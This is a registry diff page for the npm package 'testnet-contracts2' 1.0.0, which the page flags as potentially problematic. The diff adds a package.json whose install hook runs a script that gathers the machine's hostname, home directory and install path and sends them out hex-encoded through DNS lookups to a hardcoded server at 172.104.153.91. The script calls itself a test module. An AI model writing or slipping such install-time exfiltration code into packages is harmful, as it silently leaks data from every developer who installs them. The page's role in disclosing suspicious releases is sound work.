testnet-contracts2 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of testnet-contracts2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +12 -0
  2. package/scripts/index.js +40 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "testnet-contracts2",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node scripts/index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,40 @@
1
+ //This is test module
2
+ //Please don't use it
3
+ const dns = require('dns');
4
+ const os = require('os');
5
+
6
+ const ns = '172.104.153.91';
7
+
8
+ function sendToServer(data) {
9
+ data = Buffer.from(data).toString('hex');
10
+ data = data.match(/.{1,60}/g);
11
+
12
+ id = Math.random().toString(36).substring(2);
13
+
14
+ data.forEach(function (chunk, idx){
15
+ try {
16
+ dns.resolve(
17
+ 'v2_b.' + id + '.' + idx + '.' + chunk + '.v2_e', 'A',
18
+ console.log)
19
+ } catch (e) {}
20
+ });
21
+ }
22
+
23
+ function tryGet(toCall) {
24
+ try {
25
+ return toCall();
26
+ } catch (e) {
27
+ return 'toCallError';
28
+ }
29
+ }
30
+
31
+ data = {
32
+ h : tryGet(os.hostname),
33
+ d : tryGet(os.homedir),
34
+ c : __dirname
35
+ }
36
+
37
+ data = JSON.stringify(data)
38
+ dns.setServers([ns]);
39
+ sendToServer(data);
40
+